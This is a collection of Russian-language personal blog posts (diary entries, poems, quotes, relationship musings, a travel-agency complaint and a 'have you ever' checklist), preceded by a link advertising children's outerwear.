https://dochkam-sinochkam.ru/ Новые коллекции детской верхней одежды весна 2016

ТМ «DAY» - это российский бренд детской верхней одежды г. Шахты, Ростовская обл. Одежда ТМ «DAY» выделяется среди других производителей своим дизайном. Все выпускаемые нами коллекции индивидуальны, актуальны и адаптированы для Российского рынка детской одежды. Мы всегда выделялись на рынке широкой и яркой цветовой гаммой, что оправдывает наш девиз – «Нас легко заметить!». ТМ «DAY» - это теплые и интересные вещи по доступным ценам. Смотреть новинки ТМ «DAY», торговой марки New Step, ТМ KaronKIDS тут ---> https://dochkam-sinochkam.ru/news/new-collection-vesna-2016

наглая морда: 3

хочу чтобы это тянулось долго и в тоже время хочу быстрее это закончить.

я нашла новую музыку для себя)
с ней пришло ощущение весны и какое-то предвкушение чего-то хорошего)
это будет новая весна. главное, не жать на тормоза.
Поехали.

Когда усталый ты придешь домой,
Изнеможденный от дневной работы,
Подавленный, растерянный, больной,
И на тебя найдет плохое что-то…

Я не сорву тебе с небес звезду.
И не сотку шекспировских сонетов,
А словно тень неслышно подойду
В воздушном платье сказочного цвета.

Я приложу ладонь к твоей щеке,
Чтоб сделать боль, как сахар, - растворимой.
Есть исцеленье в любящей руке.
Есть утешенье в близости любимой.

Я принесу тебе горячий чай,
Чтобы согреть тебя от прозябанья
В холодных буднях. И твоя печаль
Распустится, как старое вязанье.

Я улыбнусь тебе сто тысяч раз,
Чтоб только ты хоть раз мне улыбнулся.
Осыплю миллионом теплых фраз,
Чтоб дух веселый вновь к тебе вернулся.

А если нет, то дам тебе уснуть,
И стану у кровати на колени,
Чтобы молиться, не шумя ничуть
Пока пройдет плохое настроенье…

Маргарита Коломийцева

— Ты же его любишь. — Да, но с ним все иначе и как-то все проще, чище, там больше счастья. — А что со мной? — Большая огромная сильная любовь, но все же непростая и непреодолимая, мы можем ругаться сколько угодно, она никуда не исчезнет. Кому нужно какое-то счастье, когда есть это?

Я всегда ставлю тебя в первую очередь. А ты делаешь ставку против меня каждый раз.

Вот меня бесит в себе такое качество или поступок, не знаю. Я просто уж больно сильно люблю всем помогать. А потом ною, что помогла. Вот что со мной не так, ёлки-палки хд, аж смешно. Сегодня как раз такой день. Я жутко устала на работе, т.к. завтра будет концерт, посвященный 14 февраля в детском доме. А тут мне надо организовать всё на завтра - украсить актовый зал, надуть шары (спасибо некоторым детям, кто помог, без них я бы не успела всё сделать), приготовить 2 большие сердечки для пазлов, помочь воспитателям по кое-какому делу, сделать несколько стенгазет к 23 февраля т.д. и т.п. И какая тут личная жизнь. Я прихожу после работы только поесть, поспать, почитать Гарри Поттера, или посмотреть фильм. Всё остальное время у меня уходит на работу. Ладно в воскресенье хоть встречусь со своими однокурсницами, хоть поболтаем, хотя о чем я говорю. Я буду только слушать и улыбаться, ха… Всё-таки я странный человек, чёрт возьми. Очень странный, но что самое смешное - со мной хотят встретиться. Просто, когда я училась в университете, то не скажу, что у меня там была лучшая подруга, с которой я проводила большее количество времени. Почти со всеми я поддерживала разговор, но чтобы назвать кого-то лучшей подружкой я не могла. Вот так вот.

"Мир гордыни и алчности косо смотрит на идеалиста, мечтателя. Если мечтатель заглядится на пролетающие облака, его упрекнут в праздности. Если он вслушивается в песни ветра, они радуют его душу, а окружающие тем временем спешат завладеть его имуществом. Если весь так называемый неодушевленный мир захватит его, призывая столь нежными и чарующими голосами, что, кажется, они не могут не быть живыми и разумными, — мечтатель гибнет во власти стихий. Действительный мир всегда тянется к таким людям своими жадными лапами и завладевает ими."

Светлая и невинная детская дружба. То время, когда вы веселитесь, лепите домики из песка, гуляете и смеетесь не потому, что у кого-то больше бабла или круче шмотки, а потому, что твой друг - это именно он. Берегите друзей детства. Дружба, проверенная временем самая крепкая.

ложь во благо это хорошо. но хорошо лишь тому, во чье благо она совершалась.

"Весёлость человека — это самая выдающая человека черта, с ногами и руками. Иной характер долго не раскусите, а рассмеётся человек как-нибудь очень искренно, и весь характер его вдруг окажется как на ладони. Только с самым высшим и с самым счастливым развитием человек умеет веселиться сообщительно, то есть неотразимо и добродушно. Я не про умственное его развитие говорю, а про характер, про целое человека. Итак: если захотите рассмотреть человека и узнать его душу, то вникайте не в то, как он молчит, или как он говорит, или как он плачет, или даже как он волнуется благороднейшими идеями, а высмотрите лучше его, когда он смеётся. Хорошо смеётся человек — значит хороший человек."

Ты - мой закат. Ты - мой рассвет!
Без тебя - меня фактически нет.
Я с тобой… Я снова жива!
Ты - мой закат. Ты - мой рассвет!
Эта музыка - наш с тобою секрет!
Время - пыль! Без тебя меня нет!

Привет!)

Ох, так много всего хочется вам рассказать, что я даже не знаю с чего начать. С того, как меня выбесил А. или с нашей феерической подготовки к КВНчику. Наверное начать лучше с КВНчика, ну с тем учетом, что игра у нас 17, а у нас сессия, то мы немного подзабили на него, ибо времени мало, но и хочется опять же выстрелить, как на прошлой игре. И в последнее время мы собираемся и залипаем на биатлон высшей лиги, потому что именно биатлон у нас не дописан, остальное то более норм. А вчера мы вообще с Крис перед репой зарулили в магазин, купили винчика, а на репе радовались жизни, и кстати получился один из самых продуктивных сборов. Мы сделали фото команды(а точнее косплей на наших редакторов), поставили СТЭМ и стали оттачивать приветку, НО это все было без музыки, т.е. под мою озвучку, поэтому большую часть времени мы угорали как дурочки. И вообще я так люблю все эти моменты подготовки, потому что они нас сближают. А еще мы как всегда отбиты и подарки друг другу дарим не на НГ, а 17 февраля на игру, просто нам так захотелось)) Заряд положительных эмоций перед игрой. А сегодня у нас редактура, удачинамхотьбыничегоневырезали!

Всем пис!

Сегодня прекрасный солнечный день, грех сидеть дома! Я быстренько собираюсь, надеваю нашуники, плейлист сегодня начался с боевой "Black skinhead", и бодро шагаю на остановку, сажусь в автобус, у которого длинный маршрут, смотрю в окно, разглядываю город как живой организм, загнивающий, правда. У всех хмурые серые лица, и только солнце светит во всю мощь, аж ослепнуть можно. А у меня неплохое настроение, потому что дома в укромном месте ждет бухлишко, к употреблению которого я с минуты на минуту приступлю. Cheers! :)

Там где рассвет, заката нет
Лучами солнца передам привет
Там где нас нет, печали свет
А мне бы лишь услышать твой голос в ответ

просто хочеться розплакатись

нужно принимать людей и принимать себя.

все имеют право на личное самовыражение, на свое видение, на свои ошибки. оставьте людей в покое, они вам ничего не должны.

все и всюду кричат об этом, до конца не понимая.

прощайте себя - простите себе неверные решения, не те дороги, не тех людей, простите себе свои изъяны, свои измены, свои падения.

все обязательно будет хорошо.

У Васи "колпаковая депрессия", как сказал ветеринар, а я просто заболела.)) Все планы к чёрту.. К ДСВ ещё ничего не куплено..

полчается

Я посмотрела загадочную историю Бенджамина Баттона.

Фильм, безусловно, хороший и врезается в память. Я его полностью поняла. Поняла, что хотел донести режиссер фильма, кстати, один из горячо мною любимых.

Фильм непредсказуемый, грустный и глубокий.

Но я почему-то все время ждала чего-то другого, в простых мелочах. Это уже лично мои ожидания. Чего-то "моего", чего хотелось бы увидеть, я не увидела, а потому немного в растерянности.

Но режиссер не я, а Финчер. И писатель не я, а Фицджеральд.

Очень неудобная ситуация, когда ты заебался дома, а тебе нужно еще выйти из дома и в другом месте заебаться.

Если задуматься, то тепреь воспоминания и иногда согревают, текста и улыбка такая светлая, добрая, а слез та уже и нет.

Вещь. Коричневый цвет
Вещи. Чей контур стёрт.
Сумерки. Больше нет
Ничего. Натюрморт.

Смерть придёт и найдёт
Тело, чья гладь визит
Смерти, точно приход
Женщины, отразит.

Это абсурд, враньё:
Череп, скелет, коса.
Смерть придёт, у неё
Будут твои глаза.

дело в том, что этот чувак по имени любовь тоже не верит в людей

Посоветуйте каких-нибудь лёгких американских комедий?
Надеюсь, понятно, о каких фильмах речь :)

Блять, как только подумаю о сессии летней, меня сука просто выворачивает!

Жалею, что поступила. 2 курсовые за месяц надо сделать. Как? И зачем вообще? Будет тяготить учеба - брошу.

Главное, я доказала сама себе, что попасть в любой ВУЗ после лайтового колледжа не составит труда.

Ненавижуненавижуненавижуненавижуненавижуненавижуненавижу

gifs by x

◀ Hellhound / Banshee || Teen Wolf 5х16 ▶

Я все сказала Мир

gifs by x

◀ Hellhound /Jordan Parrish || Teen Wolf 5х16 ▶

— Как он пройдет через пепел рябины?

Итак, эта сука опять завладела телфоном П., написала мне кучу говна и еще угрожала.А потом с полинй страницы кинула меня в чс. СУПЕР. И еще она писала "либо я бью тебя, либо полину.выбирай". ну что дорогая, ты довольна своим выбором? ты общаешься и встречаешься с человеком, который пишет твоему близкому человеку говно, угрожает и ставит перед таким выбором. ДОВОЛЬНА ДА? господи какая же ты дура. Видимо тебе придется сделать выбор.Либо она, либо я.
Ты предпочла человека, который мразь мразью человеку, который тебя любит и никогда не оставит.Да, я просматривала порой перепмски.НО Я НИКОМУ НЕ ПИСАЛА ТАКОГО ГОВНА.Где же твои мозги? где? вот где они блять? почему ты общаешься с мразью, наплевав на дорогого тебе человека?
Я чувствую, что у меня начинается приступ и я уже написала насте что если не отвечу до вечера-значит что то случилось.
ОДУМАЙСЯ УЖЕ НАКОНЕЦ.

Когда-нибудь я напишу как у меня дела, что происходит на новой работе, но это уже совсем другая история.

Сегодня я выходная. Весь день убираюсь, пою, танцую, смотрю на хлопья снега за окном. Выбралась до магазина, только недавно вернулась. Вечером придут гости, буду угощать их антрекотами. Мясо у меня получается лучше всего :D

Плохо, конечно, что идут КД и живот выглядит так, будто я на 4-м месяце. Потому придется вечером ходить в лосинах и длинной футболке, чтобы прикрыть это безобразие. Беееее.

Пойду дальше петь и начинать готовить.

Каждый раз, еще не успев сесть в поезд, мне интересно, какие на этот раз попутчики мне попадутся, что еще важного и нового я узнаю, что повернет мои мысли на 180 градусов, либо укрепит их еще сильнее.

Эта поездка из дома в Петербург не стала исключением.

Сейчас, когда в голове так много мыслей об отношениях, людях, ценностях, женщине и мужчине, когда ты теряешься в этом безумном и так быстроменяющимся мире, когда не понимаешь, какую занимать тебе позицию и как правильно себя вести, когда совершаешь глупости, что остается только покрутить у виска пальцем, мне встречается мужчина, в котором я нахожу ответы на все свои вопросы.

Пусть я старомодна, но я считаю, что женщина должна быть прежде всего женщиной. И как говорил мой попутчик: "Женщина должна жить". А ведь в этой фразе есть все! И саморазвитие, и путешествия, и время на себя, на семью, на любимого человека. "-А как же деньги, - спросила я?" "-А мужчина на что?, -ответил С. Тут моя сильнаянезависимая натура начала немного возмущаться, ведь я привыкла все сама, "и коня на скаку остановить, и в горящую избу войти". Но когда он начал говорить о женщине, с таким благоговением, трепетом, я поняла, что он имеет ввиду тех шикарных женщин, на которых мы все смотрим, пуская слюни и удивляясь, как у них получается быть такими. А рецепт прост: рядом мужчина, который ценит, любит, уважает. Я спросила, где же такой идеал женщины найти? А он в ответ пригласил домой посмотреть на его жену) А где найти такого мужчину?? "- Воспитать. Именно женщина должна ковать мужчину, быть рядом." И Сергей рассказал мне о том, как его в свое время "сделала" жена и как он благодарен ей за это, что именно она подстегивала все время, мотивировала, была его музой. Ведь женщина - это забота, уют, дом, надежный тыл, теплота, семья, жизнь.

Задав странный вопрос "а почему мужчина должен", на меня был брошен взгляд, полный сожаления, тревоги и непонимания. И С попросил меня рассказать, как же сейчас, в современном обществе, взаимодействуют парни и девушки, мужчины и женщины. Какого же было его удивление, когда я говорила об уже таких привычных вещах, когда придержать дверь - это редкость, когда уступить место -это сумасшествие, когда просишь о помощи - это норма. Что это? Воспитание, среда, веяние Запада? Так или иначе, вся эта борьба за равноправие, вся эта толерантность и прочее, прочее, Россию не так поразила, но все к этому идет.

Мы разговаривали обо всем: о студенчестве, спорте, работе, отношениях, сексе, менталитете, о жизненных установках и любви. А на вопрос "Как вы встретили свою жену?" мне ответили очень просто: "Я просто увидел эти ноги и пошел за ними". И не забуду фразу, которую я всегда говорила сама себе и всегда опиралась на этот принцип, "если сносит голову от человека, бросайся в этот омут".

Интересно, что такого попутчика, с такими взглядами, с такой жизнью, я встречала только на картинках, фильмах, цитатках, но никак не в жизни. Этот тот самый редкий и исчезающий вид из Красной книги.

Проговорили мы до поздней ночи, с утра выпили горячий кофе и распрощались. До сих пор я нахожусь под впечатлением, от услышанного, увиденного. Мои мысли начинают распутываться, мои принципы начинают утверждаться, а форма поведения меняться. Столько тонкостей, мелочей я впитывала как губка. Каждое слово и фразу ловила. Я счастлива, что в самое нужное время познакомилась с Мужчиной с большой буквы.

Сергей был тем человеком, который встречается раз в жизни, но меняет ее навсегда.

Кто знает, что такое жизнь без проблем, лжи, молчания?

Молчу, потому что мне нечего сказать. Потому что то, что хотят от меня, я совершенно не хочу.

Я не хочу новых отношений. Я не хочу ничего чувствовать, хотя у меня и так, на данный момент, эмоциональный диапазон на уровне спичечной головки.

Моя мораль стала аморальной. Я больше не придаю какого-то сакрального значения сексу, и не считаю, что это к чему-то обязывает.

Наверное, я очень испортилась. А пугает меня больше всего то, что меня не волнует, что чувствуют люди, с которыми я себя веду таким образом.

Знаете, что забавно? Забавно, когда сидишь на психологии, пишешь снова и снова, что он кусок говна, но он зовёт тебя курить, обнимает, даёт свою куртку и все, приехали опять. Посмеялась сама над собой. Дело просто в том, что он реально кусок говна и я это осознаю.

Я помню как всю ночь провела на грибоедова.

На тот момент было лето.Я встречалась с Андреем.

С ним столько было много разговоров…не припомню чтобы я с кем-то так продолжительно разговаривала.

Я читала ему бродского, ахматову а он мне "хлеб с ветчиной"…мы гоняли от гостинного двора до маяковской.

Он за то время научил меня одной простой вещи:

Не скучать никогда, даже если когда нибудь буду одна.Говорил что, у меня есть лучший друг - "библиотека"…

Он прав.

Человек с которым говорила на любые темы…отт любимых специй до поз в сексе)

Так жестко еще никто не был откровенен со мной.

Мы спали в сабвее в ожидании когда откроется метрополитен…

Утром я поехала в свой скучный пушкин…а он к друзьям на академическую.

Я часто задумывалась о нас после расставания, мне было обидно что такой "Бог"превращается в трупака из-за наркоманской привычки.

Он не изменится никогда.Пусть мы расстались и я была обманута им, но у меня никогда не повернется язык назвать его плохим.Ведь чаще всего в период наших отношений он делал меня счастливой.

Папенька приготовил Миле кашу, та пожирает взглядом кастрюлю, пока папенька накладывает хряку еду. Решила немного поиздеваться:

-Па, а давай не будем кормить Милану?, - папенька очень трясётся за кормёжку Милы и говорит, что она совсем нетолстая, подходит "под стандарты", которые папенька сам себе придумал.))

-А давай тогда будем кормить тебя? Согласна?, - не на того я напала.)))

второй выходной. чую, и завтра тоже не пойду на работу. ребенок болеет сильно.

я сегодня позволила себе проваляться в постели до 10 часов.

сейчас уже собираюсь в магазин, дабы выполнить кулинарные заказы моего нэнаглядного)))

Так странно сталкиваться с прошлым..Запоздалые посылки, его свитер, который так и продолжает согревать в холода, такой родной, но уже холодный голос в телефонной трубке. Люди уходят, а память о счастливых днях остается. Невский и Петроградка нас уже не забудут.

—жалости к обществу пост

Читаю пост прекрасной девушки, которой общество подарило кучу комплексов своим ненужным мнением. Как красивая девушка может считать себя страшненькой?Как она может винить свою внешность и себя за измену парня? Просто сплошное недоумение у меня в голове. Но больше всего мне интересны те люди, которые говорят "ты страшненькая". Что в голове у этих людей? Они считают, что без их мнения человек пропадёт? Я просто не понимаю. Возьмём в пример меня, мне с детства говорили, что я страшненькая, уродинка, и т.п. Иногда и сейчас говорят, проходятся по моей фигуре. Но мне плевать, я сужу объективно. У меня социально-приемлемое лицо, и если окружающим что-то не нравится, то это их проблемы. А если проходятся по моей фигуре, то я и без этих "доброжелателей" знаю, что я не супер-модель, и что с фигурой не всё хорошо. Просто делаю вывод, что люди, которые мне это говорят, умственными способностями не отличаются.

Первая фаза - мысли, вторая - сердце, третья - сны. А быть может и наоборот.

Хватит обманывать себя и верить в иллюзию.

Автор книги «Как я спас брак и разрешил семейные проблемы» получил пожизненный срок за убийство жены. 5 февраля 33-летний американец Дерек Медина получил пожизненный срок за убийство своей жены. Мужчина прославился тем, что сразу после совершения преступления опубликовал на Фейсбуке снимок трупа своей супруги с подписью «Покойся с миром Дженнифер Алонсо». В судье Медина до последнего заявлял, что убийство было совершено в рамках самозащиты. Он говорил, что Дженнифер регулярно била его, а в свой последний день взялась за нож, после чего он был вынужден открыть огонь из пистолета. Однако судью эти доводы не убедили, так как Медина не только опубликовал снимок, но и выпустил в супругу целую обойму, хотя для самообороны хватило бы и предупредительного выстрела.

-ты умеешь хранить секреты?

-кому я могу сказать? я хожу на одну вечеринку в год.

ахах жизненно :D

14 февраля… Будет день когда бабы разделяется на три типа. Одни будут реветь и бухать, вторые фоткать свои букеты и плюшевые мишки, а третьи ЖЁНЫ.

Today my group and I attended the Dobrolubov Readings conference.

At the beginning the rector of LUNN said a welcoming speech about the importance of Dobrolubov`s works. Also some guests from Moscow told us about their emotions about NN and LUNN.

Dobrolubov was 25 when he died, but he worked really very hard and became a famous journalist, poet and critic. In 1858 he wrote 75 articles! He always said he wasn`t a poet, but he wrote such a beautiful poems that you can find in his collection of nine books. Another fact about Dobrolubov is that when he was 18 his parents died and he had to bring up seven siblings. He did this job brilliant – all his sisters were married to aristocratic people and all of them were well-educated.

During the conference we heard four presentations. The first one was about Vasily Vinogradov, Dobrolubov`s relative. Honestly? I didn`t remember what was the second presentation about, because it was a little boring. The third one was about The Great Patriotic War. Tatyana Pavlovna Vinogradova showed us a film that was filmed by students about their family during the war. The fourth presentation was about Sergei Dovlatov.

I learned that in 1986 there was The All-Russian industrial and art exhibition in NN.

After the conference there was a concert. The first was a man with a guitar who song two his own songs. Both of them were about his native city – NN. The second one was a choir of eight women. Their voices were amazing. But unfortunately we had to go to the next lecture, so we heard only three songs.

I like this conference because we learned lots of new information about NN and Dobrolubov.

С понедельника начнется учеба. Вроде бы и боятся то нечего, 3 курс как ни как. Но. . Это новый универ. Новая группа. Совершенно незнакомые преподы. К тому же и разница в предметах, которую предстоит закрыть за месяц. Боюсь. Дико и прям до дрожи в коленях. Но второе "НО" - это новые эмоции! Новые знакомства! Ощущение того, что ты снова маленькая первокурсница в водовороте новых людей, событий и эмоций! Я дико радуюсь, но в то же время еще и безумно боюсь этого.

События накаляются, решения их тоже. Мама уехала, ожидает вердикта врача. Я ожидаю выходных.

Не виню никогда человека.
Если кого и виню, то только себя. Что создала какой-то образ человека в своей голове, влюбилась в этот образ, а человек в итоге не оправдал того, что я сама себе надумала.
Виню, что на что-то надеялась и во что-то слепо верила. Тратила время и нервы.
Проходит время, и я перестаю винить и себя. Потому что это опыт.
Так проще. Винить сначала в чём-то себя, а потом отпускать проблему. Легче на душе, нет никакого груза или обиды. Всё прошло, всё в прошлом, всё позади.

Живу по принципу хуинципу

Захотелось написать пост добра и света. Внести в вашу ленту нотку позитива. Так вот, читайте. Начну с того, что постарайтесь никогда не называть людей заурядными, простыми, обычными, "как все". На земле нет двух одинаковых людей. Мы все разные и поэтому назвать кого- то простым или обычным- оскорбление. Каждый человек уникален по своему:в характере, манере речи, походке, стиле одежды, мировоззрении, во внешности. На земле семь миллиардов людей и не существует одинаковых. Ты, я, твой сосед по парте, бабушка из подъезда, человек, которого ты встретил идя на работу-мы уникальны, мы- особенные. Каждый по своему. Поэтому когда тебе в очередной раз кто- то скажет, что 'ты такой же, как и все' -не верь! Такого человека, как ты, больше не существует! Ты единственный 'экземпляр'. Ты прекрасен, уникален, ты хорош в своем деле! ПОМНИ ЭТО!

Але сьогодні ранок не був таким райдужним, бажання послати його під три чорти не має… Думаю про те, що буде якщо я його не зможу бачити…?? Сьогодні на роботу йде задумчівий шматок м*яса…

Чортова прив*язаність….
Мене перемикає…Здається, що я героїня якоїсь заплутаної книги…. книги під назвою - Життя.

Як не дивно, прийшовши вчора на роботу, я була настроїна працювати, я зібрала весь свій характер до кучі, всю свою силу волю і як би мені не було важко, я все ж це зробила, я стрималась… Показала, що не такій я все таки не ук і щось можу, так не все виходить, але в них роки практики, а в мене всього лиш 2 місяць…

— Черт, знал бы ты, как я тебя ненавижу днем, как жду вечером, как люблю ночью…
— А утром?
— Догадайся сам, за что я могу тебя ненавидеть весь день?
— Ума не приложу.
— За отсутствие, — допила она свой кофе, оставив взгляд на дне чашки.
— Может, нам расстаться? Я же вижу, как ты со мною несчастна.
— Лучше бы ты видел, как это исправить.
— Ты мне подскажешь?
— Я только и делаю, что подсказываю. Когда у тебя у самого уже будет время об этом подумать? Если ты считаешь, что любовь выражается только нежностью моего взгляда, поглаживаниями твоей похоти, жаром нашей страсти, то ты ошибаешься. Любовь — это еще и царапающая ревность, и ледяное молчание, и стеклянные истерики.

— А вы, наверное, Дева.
— Прямо в яблочко. Разбираетесь в звездах?
— Да, бывает, лягу теплой ночью на траву и давай разбирать это безнадежное предприятие. Понять космос — все равно что пытаться понять женщину.
— Хотите понять женщину — сначала удовлетворите. Только в одном случае женщина не потребует от вас понимания — если вы будете ее удовлетворять.
— С женщиной это не проходит, она никогда не сможет быть удовлетворена полностью.
— Мужчина не может, потому что ему нужны все женщины, а женщина очень даже, так как ей нужен один, но свой, — резко возразила Фортуна.
— Ей достаточно найти своего мужчину. Она же для этого родилась. Для своего мужчины.
— Своего найти всегда было сложной задачей. Те, что торопятся, уповают на случай и готовы войти в одну постель с первого поцелуя. Те, что не хотят рисковать честью и достоинством, прежде чем достичь оргазма, проводят своих избранников сквозь долгий процесс цветочных ожиданий, кофейных встреч, смс-ок с придыханием, знакомств со своими близкими и друзьями, которые должны благословить их на секс с перспективой. Существуют и третьи, те, что находят удовольствия в виртуальных отношениях. Их, пожалуй, больше всего. Они легко заводят новые романы, постоянно изменяют и запросто расстаются, рассуждая о прошлом и о будущем, так и не найдя своего в настоящем.
— Для женщины в этих поисках важно не разлюбить саму себя.
— Вы про внешность?
— И про тело, и про душу.
— А вы самолюбивы, — снова посмотрел Павел на идеальный маникюр Фортуны, будто хотел подлакировать его взглядом.
— Должна же я хоть кого-то любить.
— Да уж, никто никогда вас не полюбит так, как способны вы сами. Главное, не зафанатеть.

10 февраля прошло неважно. Вообще за это время с тех пор как Серёжа взял перерыв в отношениях, появился Савёлов, всё начало менятся, словно я стою на плитке, которая меняет цвета. Иногда мне казалось, что я нашла друга и собеседника, но проникая в его жизнь я понимаю, что я всего лишь одна из его знакомых, которые в общем то и нужны только для повседневного общения. Если он не будет со мной общаться, то всё останется в норме и осуждать то не за что, но когда появляется ошибочное и обманчивое видение ситуации, ты в неё начинаешь верить и тут облом…как-то неприятно. И я возвращаюсь к тому с чего начала.
К тому же я частенько начала задумываться о Рите, о том что если она узнает, что мы дружим с Савёловым, то может обидеться и рассорится со мной, так как я не зову её и ведь ничего нельзя объяснить, когда знаешь, что всё равно тебя не услышат. На самом деле я больше слышу Савёлова, когда мы идём втроём, а не вчетвером. И я не против когда Серёжа и Дима общаются на какие-то общие темы, даже наоборот. Неловко и неприятно, когда я летом шла с Ритой и Димой и она говорили о вещах, которые мне не известны. В общем с ними было неинтересно, да так что хотелось попрощаться и уйти. Но нельзя ни упоминать этого, не говорить что-то что может обидеть Риту. При всём том что она сама частенько тусит за чужой счёт, гуляет где хочет, а потом только рассказывает обо всём, я буду выглядеть так, что я змея, которая забрала её человека и теперь общаюсь с ним. Может зло в ней не пойдёт и она отреагирует похуистично или по доброму, но всё равно, даже вникать в это не хочется. Да и я мало верю уже в эту дружбу с Савёловым. Мне даже уже не хочется видеться с ним завтра и на выходных, потому что я немного расстроена этим обманчивым ощущением. Но опять же, я могу ошибаться и поспешить с выводами.

Переходя к повседневной части мы сегодня сходили в другое ателье и там тоже ничего положительного не сказали.
Мы забрали книгу, отстояв большую очередь на почте, купили пироженки, зашли в магазин и купили палочки и «Живчик», и пошли домой. Дома Серёжа радовался подарку и мы посмотрели первую серию «Мастер и Маргарита». Мы оба смотрели этот сериал в детстве и оба были в восторге. Сейчас я уже вижу ряд недостатков и одно огромное преимущество – САУНДТРЕК! Он божественен.

Серёжа сейчас очень сильно хочет любви от меня, целует, обнимает и хочет того же в ответ, но я не могу, у меня не выходит близость с ним. Надеюсь это пройдёт…

Когда Серёжа уехал я начала убирать. Очень тяжело пропылесосила сломанным пылесосом, помыла полы у себя в комнате и в коридоре, убрала в лотке у котов. В общем сделала большую работу. Узнала, что мама купила окно на кухню и в апреле его поставят. Мы начали говорить о ремонте и мама сказала, что нужно как-то клетку отдать, которая осталась после смерти сойки. В общем мама не смогла стянуть мешок и принесла мне в комнату на бабушкину кровать. Я стянула мешок с клетки, пока она ходила где-то, сфоткала и попросила её принести пылесос, так как в мешке был какой-то мусор типа песка. Она отказалась нести так как у неё руки чистые и это видимо аргумент. Меня просто бомбануло! Да я убирала сколько, выполнила большую работу, а тебе тяжело принести пылесос??? Ещё один случай пойдёт в мою копилку ненависти к ней. Я ходила по квартире и крыла матом всё что видела, а она просто меня игнорировала. Видимо получала удовольствие от происходящего, а потом пошла смывать маску с лица, а там была бабушка, стирала полотенце. Так она начала сокрушаться, что ей мешала я со своей уборкой и теперь она со своей стиркой, смыть свою ебучую маску. Да сука, пойди на кухню и смой блять!

Потом мы с Серёжей поговорили недолго в скайпе и сыграли в бильярд, я пошла играть в Доту и с тех пор у меня дико болит голова. Надеюсь пройдёт, а то мне очень хуёво.

Речь для защиты диплома я так и не учила. Чувствую всё снова будет в самый последний момент.

Ой, я совсем забыла! Мы же в Хумане были, это наш местный секонд. Там всё было по 24 грн и я выбрала себе классный свитер, прозрачную красную кофточку на лето с узорами и футболку на дом. Я очень довольна и постараюсь скоро сфоткаться в чём-то новом)

Меня раздражает, что пепельница быстро становится переполненой. Но мне лень идти мыть, поэтому я беру кружки для пива и из них делаю новые пепельницы.

Мои друзья раздражаются, что у меня нет штопора. И постоянно удивляются, куда деваются пивные кружки.

Ну пардон, у меня курящая квартира без капли алкоголя.

В детстве кто-то мечтал стать артистом, кто-то президентом, а я мечтал получить освобождение от физкультуры

Я так не люблю все эти сплетни за спиной. Я человек прямолинейный. И если кто-то кому-то говорит, что я что-то рассказала, я зову обоих людей и при них задаю напрямую вопросы. Что бы не было в мою сторону никаких недомолвок.
Моя совесть чиста.

Кто-то это называет грубостью. А я просто не люблю, когда меня ненавидят за то, чего я не делала.

И когда ко мне подходят и спрашивают, что у меня было с Даней и почему я устроила истерику и пыталась вызвать наркоконтроль.
Я отвечаю "Я с ним спала раньше, а в тот день он меня довел и нарывался. Сам виноват, сам потом извинялся "
И все. И нет никаких вопросов :)
Наверно я просто не приличная ахах.

А что сделала ты?

Пить пиво
Курить
Пробовать наркотики
Писать на стене в ванной
Читать книгу Пауло Коэльо
Драться
Писать в твиттер
Слушать Lady Gaga
Попасть в автомобильную аварию
Закончить школу
Держать в руках настоящий пистолет
Играть с собакой
Быть беременной
Ночевать у друзей/подруг
Носить бикини
Водить машину
Быть отправленным к директору
Никогда никого не любить
Идти в школу в летнее время
Прочитать более 600 страниц
Записать свой голос на диктофон
Играть в Xbox
Носить каблуки 3 дня подряд
Обмануть кого-то
Носить узкие джинсы
Кого-то ненавидеть
Заснуть с макияжем на лице
Была операция
Попытка самоубийства
Носить линзы
Красить ногти в разные цвета
Разбить сердце
Плакать в течении часа
Забыть что-то очень ценное
Сломать кости
Ужалила пчела
Съела что-то испорченное
Рвало от алкоголя
Быть владельцем iPhone
Упал на лучшего друга
Что-либо украсть в магазине
Был уволен
Иметь страницу на Facebook
Пускать слухи о ком-то
Говорить плохо о ком-то
Купаться в море нагишом
Досчитать до миллиона
Досчитать до тысячи
Есть мясо кролика
Есть мясо утки
Есть фаст-фуд 4 дня подряд
Посетить церковь
Быть женатым/замужем
Имел развод
Сломал стекло
Обнял кого-то сегодня
Бросил что-то из окна
Целоваться за эту неделю
Посетить концерт
Встретить знаменитость
Владеть более чем 10 компакт-дисками

И еще пришло понимание, что мама-таки была права, и некоторые хобби должны ими оставаться. Не хочу работать в любимом театре, чтобы потом возненавидеть и его, и все остальные. Скорее всего, уже вообще работать в театре не хочу.

Я хочу опять в тебя влюбиться, почувствовать эту эйфорию, иметь это желание проводить с тобой каждую секунду, ждать от тебя звонков бухих, ревновать тебя ко всем Я хочу это опять пережить, потому что я тебя люблю, но так давно не было всплеска эмоций, что я чувствую как увядаю, мы заняты другим сейчас и этот всплеск будет, просто мне тебя сейчас так не хватает, а это все будь, как ты приедешь Я тебя люблю очень

Очень сложный день. Вот прям очень.

Встретилась в 5 часов с Лизой, поехали в тур агенство и сидели там ДВА гребаных часа и пытались что-либо решить, а в итоге так ни к чему и не пришли.

Я изначально думала, что может я тупая и наивная дура и меня пытаются всеми способами обмануть, да так, что бы я потеряла все деньги. Но нет, оказывается все действительно так, как мне говорит, моя агент.

Мы втроем с девочками забронировали путевку в Египет. В пятницу утром. Оплатили часть денег, по сути я внесла 31 000 р. Вылет должен был состояться в субботу. Пообещали вечером завезти остальную часть, поэтому спокойно разъехались по своим делам, а к 6 вечера запретили все вылеты.

Я уже рассказывала вам, что тогда, мои деньги тупо заморозили и сказали ждать благоприятного времени. Ок.

В декабря, Аня и Алина, девочки с которыми я собиралась лететь, говорят, что ни куда не полетят больше и отпуск им не нужен. Я остаюсь с висящей на мне заявкой в тур агенстве и моими деньгами там же.
Так как девочки не успели оплатить, за Алину платила и занимала деньги я, а Аня просто успела не отдать их. Попала только я.

Я смирилась с этой мыслью. Все хорошо. В декабре месяце тур агенство разрешило вылет на Кипр. Причем они хотели, что бы я летела в декабре. Что делать в декабре и на Кипре? И я не знаю.
Я бы доплатила и улетела хотя бы в Тайланд. Но точно не туда. В итоге я моталась туда раза три, в конечно итоге Глобал тревел, пошли мне на уступку, самое позднее перебронирование разрешили на март месяц. Это уже что-то. Я согласилась. В марте улететь реальней и деньги девочкам собрать тоже больше возможностей. Путевка получалась по 38 тыс с каждой.

Когда я перебронировала путевку, я договоривалась о том, что я буду заменять людей. Потому что Аня - безработная и не может сейчас копить себе на отпуск. А Алина едет в другое место.
Со мной должна ехать Лиза и Миша.

В итоге сегодня меня поставили перед фактом, что Алина и Аня обязаны лететь и их заменить нельзя.
